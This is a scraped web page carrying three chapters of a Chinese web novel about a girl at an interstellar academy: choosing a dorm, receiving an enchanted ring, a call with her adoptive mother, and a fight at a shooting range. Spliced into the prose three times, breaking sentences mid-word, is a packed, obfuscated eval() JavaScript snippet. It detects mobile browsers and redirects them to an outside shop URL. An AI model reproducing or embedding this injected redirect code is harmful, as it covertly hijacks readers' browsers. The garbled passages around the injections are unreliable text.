嬴欢不感兴趣地低下头,可是白鸟院的食堂真的很好吃。 “我再考虑考虑。” 厄斯也觉得头疼,毕竟黑川和Dr.X都不是好应付的家伙,她很担心嬴欢到了那里会被狠狠“折磨”。 “哦,对了。还有一件事。” 女人从沙发侧边的包里拿出一只黑色小盒子,放在桌面上。 少女接过,打开。 一条精致的项链躺在丝绒布料中央,银光闪闪。 “这是一个特制的精神检测器,里面有相当精密的传感芯片,可以时刻监测你的精神值。手腕、脚腕、颈部,你喜欢戴在哪里都可以。” “我的精神很正常,我不需要这种东西。” 这何尝不是一种变相的监视?嬴欢拒绝有人通过这种方式扰乱她的生活。 厄斯面色凝重,“我明白你的顾虑,但为了你的安全、学生与老师的安全、所有人的安全,我不得不这么做。” 她不可能放任一个精神随时都有可能崩溃的人在学校里生活。 嬴欢紧紧盯着那条项链,听女人还在继续说服她道: “隐私以及其它安全方面的问题都不必担心,这个检测器是我委托Dr.X由他亲自打造而成,只有你、我、他之间拥有查看数据的权限——” “我知道了,如果这是你希望的话。”少女将项链攥进手心,冷冷地向她道。 厄斯含着歉意对少女微笑,“谢谢你的理解。” ** 选学院的事暂告一段落,然而刚回到克里斯,嬴欢又碰上了一个新的难题。 “您可以在克里斯官网进行宿舍选填,填选有效期72小时──”一条信息从移动终端弹了出来。 点开链接,是一个意向性测试。 【您心目中期望的舍友人数是?】 【您对舍友性别、种族是否有要求?】 【您更偏向于热闹or安静?】 【……】 嬴欢站在阴凉的树荫底下,手指在虚拟屏幕上点来点去。 大约十分钟后,一个分宿结果跳了出来。 【恭喜您,您已被分配至不夜居!请前往该链接选择具体房间号!】 嬴欢看了看实时选房图层,被标红的楼层已经被其他人选中且满员,她只能在余下的楼层挑选房间。 点开某个房间还可以看到留言板。 【三坑缺一,速来。】 【大平层宿舍,缺个性格好的小姐姐。】 【C2缺两个白鸟院的!作息严谨,互不打扰!】 【双人居缺一,最好是机甲院的,无其他要求,拎包即住!】 嬴欢在琳琅满目的弹幕中寻找合适的房间。 【信息院找个同院室友。】 【楼上私我。】 【有没有会做饭的室友,重金求!机甲院食堂实在太难吃了!】 【楼上+1】 【+1】 【+1】 嬴欢看得有点儿眼花缭乱,要不选个单人大平层算了,省得自己继续选择困难症。 突然,一条即时通话强制接通。 “姐姐,你跑哪儿去了?我找你好久了。” 一个等高的全息影像出现在自己的正对面。 嬴欢被这强制接通的功能吓了一跳,平复了下小心脏,回答她道:“我没事的,邬蘅。”刚从局子喝完茶回来罢了。 “地址。”一张帅气张扬的脸接入通话,红发绚烂,仿佛要是她敢挂他就撕开全息影像从终端里把她揪过来。 嬴欢张开嘴巴犹疑了几秒,在想要不要挂断、删除、拉黑一条龙算了。 然而,在两个全息人影强硬的视线下,她两秒钟不到就败下阵来。 无奈地望了望四周,给了个大致的位置,“大概就是……学校门口的歪脖子树。” 13. 万事屋 一女一男将嬴欢挤在中间,对投来目光的人施以威慑般的眼神。一时间,根本没人敢上前来自讨无趣。 嬴欢全程低着脑袋,她好想掐人中抢救一下自己。 她今天只穿了简单的白T恤加牛仔短裤,夹在两个衣着质感绝佳的制服少年的中间,显得格外小透明。 邬蘅的情绪有些低落,往日里神气十足的大小姐此时看起来颇为紧张,手指摆弄着自己的钻石袖扣,犹疑半晌后,终于下定决心般打破了宁静。 “姐姐,你选好宿舍了吗?” “嗯……暂时还没有。”嬴欢垂着的头摇了摇。 身旁的大小姐眼睛一亮,昂起首来:“那太好了,我们可以住在一起了!” 等等,她什么时候说要和他们住一起了? 嬴欢脚步蓦然一顿,她当着两人的面,面色郑重道:“等一下,我觉得很奇怪──我们应该也没熟到这个地步吧?” 最多是个挂名的姐弟妹,在幻境里见过一面,除此之外他们还有什么交集吗? “我──”牙尖齿利的大小姐神色一滞,眼睛一动不动地盯着嬴欢,里面透着几分不知所措。 嬴欢以为邬涟会帮着自家妹妹跟她呛声,没想到他只是拉了拉妹妹的衣袖:“我都说了。” 要不是先前邬蘅那副要死要活的模样惹得他心烦,否则他才不会答应陪她来见嬴欢一面。 偏偏这女人根本就不领情。也好,省着担心自家妹妹被坏女人骗。 眼见为实,他就不信这恶毒女人都这么拒绝她了,她还能笑嘻嘻地贴上去。 所以她这是──被姐姐讨厌了吗?这种认知在邬蘅心里挥之不去,心口涩涩的,仿佛被狠狠践踏了一番。 她无数次畅想过和自己的姐姐一起吃饭、一起睡觉、一起泡澡、一起看电影……做一切她们小时候没有做过的事情。 她们缺席了彼此的童年,她不想再让自己缺席她的每一个重要时刻。 可是──她就这样严厉地拒绝了她的参与。 为什么呢?为什么呢!是她还不够资格吗? 她气愤地背过身去,在心中不断唾弃自己的自作多情。 嬴欢看见这一幕并没有多余的情绪涌出,而是径直朝着与她相反的方向前行,两个少女就这样不欢而散。 看着嬴欢毫不在意、潇洒离去的模样,邬涟不禁攥紧了腿侧的拳头。 让妹妹体会到被拒绝的感觉诚然重要,但被当成空气的感觉真是让人不爽极了。 她凭什么那么高高在上,她以为她是什么皇室贵族吗? 更何况,就算是真正的皇室面对邬家时也要敬他们几分呢,她嬴欢到底凭什么! 少年心中闷着一股气,目光寒冷地注视着少女的背影。 看倨傲之人如何一步步跌落至地上的淤泥里,这是他人生的一大乐趣。 那就亲自试验一下吧──看看究竟要多久就能欣赏到她俯首求饶的样子。 少年嘴角一勾,缱绻的微风将他的发丝缓缓吹动,菱形地砖上倒映着一道漂亮的剪影。 真是有些迫不及待了。 ** 嬴欢随便选了一个三人宿舍,至于为什么没选单人间或者双人间……纯粹是她来得太晚,地势好、房间宽敞的早就被手快的人们一抢而光了。 嬴欢没什么行李,空着手就来到了自己的宿舍,她对物质上的要求不高,属于只要有个窝就能睡的那种。 顺利通过虹膜识别系统后,嬴欢慢悠悠地走了进去。 克里斯的宿舍条件算得上不错。 装修清新的公共客厅、舒适的开放式休息区、设施齐全的健身房、甚至还有种满鲜花绿植的阳台…… 中央空调可以随时调控各个房间的气温,采光极佳的落地窗可以观赏落日美景。 还真别说,比她想象得要好上一百倍。 嬴欢没来得及购买拖鞋之类的生活用品,只好光着脚踩在地板上。 很奇怪,宿舍里好像没人。鞋柜空空的,客厅内部也很干净,一尘不染。 难不成自己是第一个抵达宿舍的? 她没多想,按照墙上的亚克力牌子找到自己的房间。 打开纯木卧室门,里面只有一张床和两个大型书架,显得空荡荡的。 她大致扫了下房间里需要布置的地方,床单、拖鞋、洗漱用品,还得换个遮光窗帘。 清点完物品清单后,嬴欢将鞋子换好,她准备去楼下的「万事屋」买些必需品上来。 要是修在就好了,她只要躺着睡觉就行。 嬴欢难得如此思念一个人。 或许,她再买一个家务机器人也不是不行? 嬴欢这般想着,悄悄打开自己的余额。 【您储蓄宝的剩余余额为:50星际币。】 少女两眼一闭,不忍再看。 嗯,其实一个人也不是不可以。 ** 「万事屋」是克里斯的地标性建筑之一,历史悠久,商品种类繁多,最重要的是物美价廉。 复古的店铺内挂满了金色的小彩灯,门口有只陈旧的小黑板,上面用花体字写着今日的降价促销商品。 不少学生们聚集在此地选购一些稀奇的小玩意儿,比如小鳄鱼手杖、牛皮纸信封、全息万花筒、掌中烟花…… 嬴欢挑了个小绵羊毛线玩偶拿在手里,她一路走走停停,双手里逐渐越来越满。 忽然,嬴欢在一个挂满灯具的地方停了下来,她一脚踏进了这个被光线占据的世界。 万事屋占地不大,过道只能勉强容纳两人通过,但也正因如此,这里狭小的角落才显得分外神秘而梦幻。 长长的碎钻流苏落在她的肩膀上,光芒折射在她的脸颊四周。 她昂着首,不同的光芒照进她的眼底,呼吸频率般闪烁的星空顶、纯水晶材质的百合吊灯、橘黄色的模拟日落灯…… 无尽的光芒将她包裹起来,一切仿佛只有在梦中世界才会出现。 一道老态而沙哑的女声从身后响起:“有心仪的宝贝吗,小朋友?” 来者是万事屋的打理人,一个上了年纪的老人。 她身材瘦小,佝偻着身子,身上是一件手工织成的及膝长袍,鼻梁架着一副金色的单镜片老花镜。 她手里拄着把上了年头的拐棍,歪着脑袋仔细看着眼前的少女,脸上虽然没有笑容,但浑浊的眼睛里却透着几分和蔼。 嬴欢点头问好,心里不由得觉得奇怪。 现在正是万事屋客源集中的时间点,老人家却无故出现在这里。 难不成──自己就是传说中的“偷感”很重,以至于需要老人家亲自来盯着? 不。 嬴欢瞬间否定了这个想法,她就算偷也要偷银行之类的啊喂! 两个人开始你一句我一句地闲聊起来。 “说实在的,我的梦想就是像您一样拥有一座‘百宝屋’。” 老太太咯咯一笑,那对眼角布满了细密的皱纹,却仍然可从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481298|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中窥见几分年轻时的恣意昂扬。 “这很简单,亲爱的。等我死后这间屋子就是你的了。”老太太笑得很开心,时不时要抬一下老花镜。 “别开这种玩笑了,格雷斯太太,我可是会当真的!”嬴欢鼓了鼓嘴巴。 她们从上古战争聊到反叛者革命, 从建校之初聊到校方迭代,从四大学院聊到校区食堂…… “我是不是占用您太多时间了?”嬴欢望向窗外,天已经黑了下来。 “怎么会呢,亲爱的。”她缓慢地转了转身子,“哦──确实很晚了,我该打烊了。” 嬴欢抱着自己的商品走向收银台。 “我想我该送你一样东西。”格雷斯弯下腰,从收银台的储物柜底部拿出了一件盖着黑布的物品。 爬满皱纹的手将红布缓缓掀开,里面是一个小方盒子。 嬴欢迟疑地接过黑丝绒质感的礼盒,尽管不沉但也有些分量,她在格雷斯的目光示意下将金属扣打开。 “这是……?” 里面躺着一只翠色的玉石戒指,质地细腻,摸起来冰冰凉凉的。 将其放在灯光下看,颜色均匀又透亮。戒指的正中间有一道很宽很厚的雾绿色裂痕,形状凹凸不平,像在沼泽中孕育了一片深林。 这些裂痕倒是不影响佩戴,反而增加了几分古老感。 “这对小家伙可不简单,它们可是有灵性的。” 灵性意味着它们可以自己认主。 格雷斯之所以把它们拿出来见人,也是觉得嬴欢是个符合眼缘的人选,说不定可以碰碰运气,把这两只小家伙托付出去。 嬴欢张了张口,很想说自己已经有了一只黏人的鞭子,恐怕很难把它们带回家。 如果再多一个有灵性的戒指,那家伙肯定会吃醋的,嬴欢擦了擦额头上的汗,委婉道:“这恐怕太贵重了……” 一滴冷汗从她的下巴尖滴落在了老太太手心的戒指上。 突然间,浑浊的玉石散发出莹润的光芒,吓得嬴欢一个激灵。 “恐怕晚了。”老人耸了耸肩,笑容满面。 嬴欢看着硬套进来的戒指,嘴角一扯。 请问她招谁惹谁了,这戒指难道不懂得什么叫察言观色吗!? “好了好了,祝你们的生活愉快!” 等被老太婆“扫地出门”时,嬴欢的大脑还处于发懵的状态。 她选购的小玩意儿们都被格雷斯太太免了单,这一趟出来不仅白嫖了一堆东西,还无痛多了个“娃”。 她伸出自己的右手,无名指上的戒指发着浅浅的莹光,莫名得沉重。 嬴欢生无可恋地捧着两只牛皮纸袋,踏上草坪中央的木头小路,朝着不夜居的方向前行。 条纹木门后,老太太佝偻着腰背,透过木窗看少女渐渐远去。 “真像啊──”望着少女的背影喃喃道。 她从身旁柜台上拿起一块干净的布,慢悠悠地走到一副画作前,用干布轻柔地拂过镀金画框。 那是一幅普通的油画肖像,笔触厚重、坚硬,年头久远。 画中之人动作幅度较大,一只手提着亮银色的剑柄,呈冲击之势。 凤眸中饱含着望不到尽头的坚毅,浓墨般的发丝落在银光闪闪的铠甲上。 哪怕她的铠甲已经破损严重,覆上了一层血光,可她仍然没有一丝要放弃的意思。 剑光交错。杀意凛凛。 尸冢之间,孤风阵阵,惟有她一人傲然屹立。 14. 训练场(一) 晚上。 全息通话已经持续了一个小时,邬明仪正在和嬴欢絮叨着今天的新鲜事。 少女躺在沙发上静静听着,偶尔提出自己的想法。 嬴欢是个合格的倾听者,适时提供情绪价值,不会太过吵闹也不会让人觉得被冷落。 可邬明仪是谁,狄兰最大财团的掌权人,察言观色的能力自然是顶级的。 虽然邬明仪每天都是上司、老板之类的身份面人,可是在她的孩子们面前,她就会完全卸掉那份在商战中的压迫感。 因为她们是家人。 见小姑娘兴致不高,邬明仪灵活切换话题:“哦,对了──今天小邬蘅哭得梨花带雨来公司找我,真是太阳从西边出来了,我这个当母亲的还是第一次见她哭得这么惨。” 女人语气里带着几分明显的幸灾乐祸,嬴欢跟着干巴巴笑了几声。 看来邬蘅并没有向邬明仪全盘托出就是自己干的。 “你们在学校已经见过了吧?” 可不么,其实早在幻境就已经见过了。 嬴欢在心底吐槽时才蓦然反应过来,邬明仪竟然没有问她关于幻境的事? 显然,女人在刻意避开这个话题。不过这样也好,要是真问起来自己还真不好交代呢。 然而实际上── 邬明仪怎么可能不关心幻境的事情?况且这次事件闹得这么大,她就算装作不知道也很难吧。 在她眼里这种小孩子之间的打闹根本不足挂齿,只要没闹出人命,那么嬴欢所做的一切她都可以包容并支持。 她更在乎嬴欢在其中得到了什么,假如得到了片刻的开心、欢愉或者教训之类的,那也是无比值得的。 享受其中、顺其自然──这就是邬明仪的育儿方式。 “阿蘅是个敏感的孩子。别看她表面上是大小姐脾气,什么目中无人、傲气冲天……其实背地里就是个喜欢偷偷躲起来哭的小屁孩罢了。” 偷偷躲起来哭?嬴欢想象了一下那个场景──小女孩儿脸旁垂着绿色的头发,眼睛也肿得像只胖头鱼,一头埋进枕头里开始嚎啕大哭。 喉咙涩涩的。 自己之前的话是不是太冷漠了些?嬴欢默默反思道。 “好了,也不提这小家伙了,让她自己哭着玩儿去吧。”邬明仪话题一转,“对了欢欢,你已经收到Dr.X的邮件了吧?” 什么邮件?嬴欢在终端里翻了翻,最后在垃圾邮件箱里找到了一封信息院院长的邀请信。 Dr.X发了两封邮件,一封给邬明仪一封给嬴欢本人。 大意就是邀请嬴欢进入信息院,并且附上了一张历年水仙院的优秀毕业生名单。 “呵,眼熟的人可真是不少。”邬明仪看到名单的那一刻就认出了不少传奇人物。 水仙院拥有全星际最前沿的全息技术,被誉为“人类文明中的璀璨珍珠”,他们着重钻研智械、穿戴型机甲、互联网终端、世界系统、意识数据传输等多个领域。 人类科技能够发展到今天的高度,水仙院功不可没。 【我会将贵院纳入考虑范围的。】嬴欢发送一封简短的回信,目光平淡地关掉了页面。 她还是心仪白鸟院的食堂。 “以欢欢的实力,四大学院不是随意挑?不用太着急做选择,可以慢慢了解。” 邬明仪心底还是希望她能选择机甲院,毕竟嬴欢的身份和机甲院的定位相当符合。 机甲院着重于模拟战与体能训练,这一点对嬴欢来说颇具优势。 而黑川也是个很负责称职的院长,毫不吝啬学院经费,给予每一位学生最好的教学环境与教学设备。 尽管邬明仪的内心早已规划出了一条最优道路,但无论如何,她都将永远尊重嬴欢自己的选择。 “谢谢你,妈妈──” 嬴欢忽然抬起脑袋,认真注视起屏幕里这位总是穿着商务西装的女人。 对面的人被这一声“妈妈”叫得愣了愣。 她有三个血脉相连的孩子,“妈妈”这么亲昵的称呼只在他们小时候的口中才能听到。 现在,她的长子叫她“母亲”,小儿子和小女儿都叫她“邬女士”。 “妈妈”这个昵称到底有多久没再听到过了呢? 女人在落寞的同时也感到了前所未有的开心,至少欢欢是真的接受了自己这个母亲,不是吗? 邬明仪真心地笑了笑,睫毛微微颤抖。 “不用感谢我,欢欢。我们是家人,这就是家人的意义。” 我会无私地用我的一切去支持你、爱护你,因为你是我认定的家人。 ** 挂掉视频后,少女蜷缩在床角45°仰望天空。 在这个学校里,真正知道她身份的人只有厄斯校长。 「肃清者」从某种层面上来说是个极度危险的身份,因为你永远不知道身边的人会不会是潜藏的反叛分子。 嬴欢隐隐能记起从前那些在刀尖上舔血的日子,她轻轻触碰身上新旧交替的疤痕,模糊、痛苦、挣扎与无尽的掠夺。 大脑之所以将这段记忆封闭起来,或许正是在保护她岌岌可危的精神吧。 可即便如此,嬴欢的精神值仍然在1静止不动。 她天生就是个怪物。 【听闻有人深夜emo?】 尤拉从半空中突然跳了出来,它变幻成一只小煤球,依偎在嬴欢的发顶, 嬴欢挥了挥头顶的阴影,无济于事。 【话说那遥远的狄兰城里有一豆蔻女子,昼吟夜哭,涕泗滂沱──】 嬴欢把它从头上拽下来,“没人想听你那破评书。” 小煤球被随手扔在地毯上,啪叽一声,四脚朝天。 【尔等草民!还不扶朕起来!】 嬴欢直接踩着它上床。 【倒反天罡!真是倒反天罡!】 ** 半夜,嬴欢迷迷糊糊地起来上厕所,她一脚踢开四仰八叉的尤拉,却忽然听见几十米外的客厅有什么奇怪的声响。 她的眼眸顿时清明。 耳朵贴在卧室门上,嬴欢听到一声细微的闷哼,紧接着那声音像突然静止了般,空气静谧而可怕。 那个人发现她了──嬴欢状似随意地打开卧室门,肌肉默默紧绷起来,随时准备好反击。 月光照亮她的脚下,她定睛一看,浓稠的血液从客厅一路流淌到自己的门前。 嬴欢:? 她随着血迹的脉络向前走去,大概走了十几米左右,一个黑影靠在沙发上。 她向那个热源望去,与黑夜里的眼睛四目相对,那是一双发着银色火焰的眼眸。 “……” 嬴欢默默路过,佯装起来找水喝。 不是小偷就好,其它的她可不想多管。她从冰箱里拿出一瓶纯净水,转身往回走。 嬴欢有意识地避开地上的血液,不禁皱眉。 这人到底流了多少血?明天早上不会烂在客厅里吧? 算了算了,和她无关。 嬴欢回到卧室锁紧房门,甩开两只拖鞋,爬进温暖的被窝。 夜已经静了。 被窝里多了一个小煤球,嬴欢迟疑了一下,最后还是紧紧抱住了它。 安然入梦。 ** 早上五点。 嬴欢顶着惺忪的睡眼,慢悠悠走向客厅冰箱,拿出一瓶冰镇气泡水。 她打开易拉罐拉环,一边大口猛灌,一边扫视着客厅四周。 仿佛什么都没发生过。 没有血,甚至没有变动过的痕迹,除了餐桌上的一份新鲜早餐。 嬴欢差点儿就要以为是自己昨天做噩梦了,她不由得心底感叹,这人清理现场的能力简直一流。 她走到餐椅边上,拿起早餐旁边的便利贴: ──请你吃。 谢谢。但不敢吃。嬴欢内心回应道。 简单的白粥和油条,看上去很健康。 嬴欢扫了眼周围,确定没人注意后,将早餐顺手倒进了垃圾桶。 【我天,你这家伙你会遭天谴的。】尤拉一大早就出来和嬴欢呛声。 嬴欢将盘子和碗放进洗碗机里,毫不在意道:“比起遭天谴,我更怕被陌生人毒死。” ** 大部分新生已经在昨天入住完毕,嬴欢只知道其中一个室友的存在,另一个对她来说仍旧是个谜。 接近六点,太阳即将从地平线升起。 嬴欢回房间换上休闲套装,穿过花园与草坪,直奔距离不夜居最近的某个训练场。 跑道上已经有零星的人在运动了,晨跑的人们形成一道靓丽的风景线。 这一路上嬴欢又招惹了不少“花花草草”,几只珍稀的黑雀盘旋在她的头顶上方,声音嘹亮。 【哎呀呀,咱们嬴姐姐真是小动物之友啊!】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493909|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>嬴欢没理它,将手中的面包撕成小块,投喂给身边的小家伙们。 她继续向雾气缭绕中的场馆前进。 “……” 继续走。 “……” 接着走。 “……” 怎么总觉得身后阴森森的?嬴欢无比肯定这不是错觉,于是她停了下来。 那股凝视感依旧黏在她的身上。 【坏了,你不会摊上了什么不得了的东西吧?】尤拉一只手搭在眉前,在雾气中寻找。 她不说话,一步一步稳步向前。 他们保持着相对距离,可以确定这个人的步伐和气场都不是她所见过的。 嬴欢低头看着自己的鞋尖,太阳刚刚升起,出来晨练的人也不少,她尽量靠近人群密集的跑道周围。 然而,身后的“人”突然变得急切起来。 “啪嗒啪嗒”的脚步声由远至近,像沉闷的鼓点。 ──来了! 嬴欢眉眼一凛,手掌凝聚一抹光亮,花纹密布的鞭身从虚空中闪出,快到仅剩残影。 周身弥漫着丝丝缕缕的电流声,少女身前缠绕着一条银色“巨蟒”,蛇首昂扬如权柄,巍峨而不可撼动。 电光火石间,蛇首划破空气,闪出一道刺眼的光辉。 “汪呜——”是一声类似于犬类的痛嚎。 “阿瑞斯!” 一个气喘吁吁的男同学从跑道上追了过来。 嬴欢这才看清眼下的境况,她的脚边趴着一条超大型机械犬,至少有两米高,两个人那么宽。 像座大山般压在她的脚背上。 疼疼疼!好疼! 嬴欢后知后觉才感觉到痛,试图把脚收回,但眼前的机械犬丝毫不动。 男同学滑跪到机械犬的身边,声泪俱下:“好狗狗,总算是停下了!你要是有什么好歹我可怎么活啊!” 嬴欢忍痛打断他的独角戏:“能不能先把你的狗挪一挪……” 前爪与后背有烧焦的痕迹,尾巴垂在腿间,可怜兮兮地扒着嬴欢的袜子。 男同学恍然惊醒,立马把绳牵在手里,用尽力气将阿瑞斯拖行到一边儿去。 “对、对不起学妹!” 嬴欢从男同学口中得知,他是一路从另一个训练场追来的,大概跑了个八百米左右。 他本来牵着阿瑞斯像往常一样进行晨练,今天不知怎么回事,它突然挣脱缰绳,闷头朝着这个方向跑。 “这不是我的宠物啦。”他不好意思地摸摸头。 原来不是他的狗──她就说嘛,怎么会有正常人养这种呆瓜呢?想必狗的主人也一定和他家狗狗一样呆吧?嬴欢皮笑肉不笑地吐槽。 “是我们院长的。” “……” 嬴欢扭头就走。 “哎!学妹!你有没有受伤啊!?”男生在狗和学妹之间取舍了一下,毅然追了上去。 嬴欢两耳不闻窗外事,一心奔着训练场的方向,疾步行走。 阿瑞斯也屁颠屁颠地跟了上去,庞大的体型让围观群众不寒而栗。 “那是阿瑞斯?” “还用问么,这么大一只烈性犬也就只有机甲院那位才能驾驭得了吧?” “这小姑娘身上是有什么魔力吗?我跟着她一路了,基本把全学校的小动物都见着了!” “呃,难道阿瑞斯也……” “……” ** 黑川今日例行到A区训练场进行巡查,学生们看见那机械犬一个个怂得像鹌鹑似的,整整齐齐地眼观鼻、鼻观心。 由于训练场内禁止宠物(包括电子与机械宠物)进入,黑川只好将自己的爱犬交给了三年级的学委。 有时男人也会觉得厌烦,自己身为院长仍然要遵守这里的破规矩,等哪天心情再差点,他就把克里斯一手全端了。 “去吧,记得牵绳。”他简单吩咐学委到训练场周边带着阿瑞斯散步就好。 男生一副“有我在您放心”的模样,拍拍胸脯,牵着比他自个儿还高的机械犬遛弯去了。 但愿今天也是平静的一天。 纯黑色的皮质手套轻轻抚上眉头,男人优渥的姿色吸引了不少花痴目光。 “转头的,多加两公里越野训练。”低沉而优雅的声线却说出了最狠的话。 “小豆芽”们心头一震,哀怨声遍起。 好好好,谁玩得过你啊! 15. 训练场(二) 嬴欢通过刷脸系统进入训练场内,至于那个遛狗的,早被安保机器人拦在了外面。 她来到室外的实弹射击场,天气晴朗,雾气散尽,阳光不至于刺眼。 距离射击点五百米外,共有24个高速移动靶,在一定范围内无规则移动。 嬴欢选了一把稳定性较好的狙击步枪。 她俯卧在射击位上,摆放两脚架、安装弹匣、校对好光学瞄准镜,最后调整为更加舒适的姿势。 调整呼吸,全身放松。 扳机扣动。 “砰!” “砰!砰!砰!” 全部命中。 这个时间点枪械训练场没什么人,只有一枪又一枪的射击声,响彻山野。 手法熟稔而迅速,仿佛早已形成了肌肉记忆。 嬴欢卸下弹匣,重新去挑选了一支手枪。 场上出现了新的移动靶。 嬴欢几乎没怎么预先瞄准,子弹连发,靶子随着枪声一个个倒下。 一个弹匣打空,再更换新的弹匣。枪管逐渐发烫,少女却变得越来越亢奋。 耳罩掉落在地上,她视若无睹。 一枪、两枪……计分器还在不断飙升。 直到最后一发子弹射入靶心,嬴欢长长地吐出一口气来。 【您的最终得分为:1000分】 手感还不错,继续保持。嬴欢脸上露出了这些日子以来第一个真诚的笑。 果然,还得是真枪实弹才能疏解内心的情绪。 遥远的看台上,少年人淡淡盯着身穿训练服的少女。 洁白的手指托着下巴,发丝在阳光下闪着微光,像个熠熠生辉的小王子。 嬴欢若无其事地将空弹匣扔掉,背后一阵发麻。 怎么又是那种窥视的感觉,难不成这座学校的人都是偷窥狂? 摩挲着手里的金属弹匣,嬴欢轻轻弯起唇角,既然如此,那就好好玩一玩吧? ** 岑之渊是个枪械疯子,基本所有人都知道。 他很少到不夜居这边的训练场来进行训练,但不知今天怎么回事,走着走着就来到了这里。 狼尾般的长发用发卡夹住,透过薄薄的无框眼镜,少年的目光落在看台下的少女身上。 锐利的眼神刺透她的全身。 岑之渊耐着性子观摩了一会儿,神色越发沉重。 她的技术和自己比起来绰绰有余,甚至没有发挥出全力,仅仅是热身运动罢了。 像他们这种天才对能力的敏感度极高,几乎看两眼就知道一个枪手的上限。 她很可怕──可怕到让他这个学院第一有了隐隐的危机感。 岑之渊感觉自己的胸腔很闷,他知道她,是最近克里斯很出名的那个新学员。 不仅这两天在全星际出尽了风头,甚至还连带着整个克里斯都推上了舆论浪尖。 岑之渊性格沉稳,待人谈不上热情但也算礼貌。 稳定──这是每个枪手都需要具备的基本功,可他对眼前的女人实在提不起来好感,甚至有想要将其彻底毁灭的冲动。 不,他要堂堂正正和她比一把。 岑之渊站起身,活动了一下肩颈。突然,眼前一阵耀眼的白光闪过。 他对那白光熟悉无比,瞳孔骤然缩紧。 是子弹的反射光! 【警告!有不明飞行物正超速靠近观众看台──】 【01号射击点,请将枪口正确对准枪靶!】 系统广播声在长空中回响。 枪口缓缓放下,露出了少女冷静的脸庞,她遥望着看台上的少年,唇角一扬。 已经射出的子弹被全局防护罩强行拦截,与此同时,一双幽邃的眼眸也落入了嬴欢的视线。 嬴欢抬起手,微笑着同他打招呼。 “抱歉哦──” 她真的只是手滑了,真的。 少年一个漂亮的翻身越下看台,发丝飞扬,与嬴欢隔空而望。 “你胆子不小。” 嬴欢点点头,“你说得对。” 岑之渊有些惊讶于她的坦率,“你……你知不知道你已经触犯校规了?” 嬴欢一步步朝着他走去,手中动作不停,仅仅瞬秒间枪械便散落了一地,笑吟吟道:“你有证据?” 岑之渊盯着地上的零件,浅眉一蹙。 “你以为这里的监控系统是摆设?” 都什么时代了还玩销毁证据这一套? 嬴欢笑而不语,看得人心里发毛。 岑之渊昂首向摄像头望去,确保这家伙能完完全全地把她的恶行拍下来,然而……不看不知道! 摄像头前的保护层碎落一地,镜头更是惨不忍睹,中间多了个烧焦的大洞,各种零件七零八落地飞出了几十米外。 岑之渊彻底被她的行为震惊了,眼神里不禁多了几分打量: “损坏公共设施,故意伤害他人……同学,可真有你的。” 他甚至怀疑她脑子是不是出过什么问题,这么想着,眼里多了几分可怜。 “谢谢夸赞。”嬴欢不紧不慢地靠近他,识出了他眼中的情绪,“不过,我觉得你还是先可怜可怜自己吧?” 话音刚落,训练服下的长腿猛然一扫,快如疾风。 尽管岑之渊很快便反应过来,向后精准躲避,但他动作中的慌乱与嬴欢的冷静相比下来,一整个天差地别。 这更令他怒火倍增。 两个人二话不说直接开始动起手来,距离迅速拉近,少女下手狠厉,拳拳到肉,快如疾风。 体术这方面并不是岑之渊的强项,但在嬴欢刻意放水下还是勉强打得有来有回。 几个回合下,少年的心脏开始隐隐作痛,他的身体支撑不了太久。 这是一场胜负早已注定的决斗。 砰。 外围的铁门被用力踹开,一双华贵而内敛的皮鞋映入眼帘。 麦色的前颈敞开两颗纽扣,男人轻轻抚摸着象征权力的手杖,眼眸狠厉而肃杀。 两个小学鸡的气场完完全全被压制住了。 嬴欢手劲一松,小腹生生挨了一下重击。 她轻呜一声,单薄的身体向后倒去,像一只被折断翅膀的落难天鹅。 岑之渊眼睛微微张大,这家伙也太会装了。 她在心底默数。 3、2、1── 肩膀被一只大手托住,皮革材质的手套摩擦着皮肤,触感温凉。 果不其然。 少女一声闷笑,故作一副难以支撑的姿态,轻飘飘地靠在男人胸前。 黑川警告性地将手移动至她的后颈,将人从身上拉开。 而后看向自己的学生,“岑之渊──校内私自斗殴,损毁学校设施,你可知错?” 岑之渊恢复了平静,他按压着痛感强烈的心口,冷冷瞪着少女。 “黑川先生,前一条我认,后一条可不是我做的。”他目光坚定磊落,让在场的人都不得不去信任他的话。 “嗯,我自有裁夺。白泽,带他去认罚。” 岑之渊自然相信院长的判断,就在二人擦肩而过时,他朝向男人幽幽开口: “黑川先生,这女人性格善变,诡计多端,您还是多加小心吧──”他语气里含着几分真诚。 嬴欢不由得眯了眯眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503483|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。站在她面前说这种话,还用这么大的声音,生怕她不知道是吧? 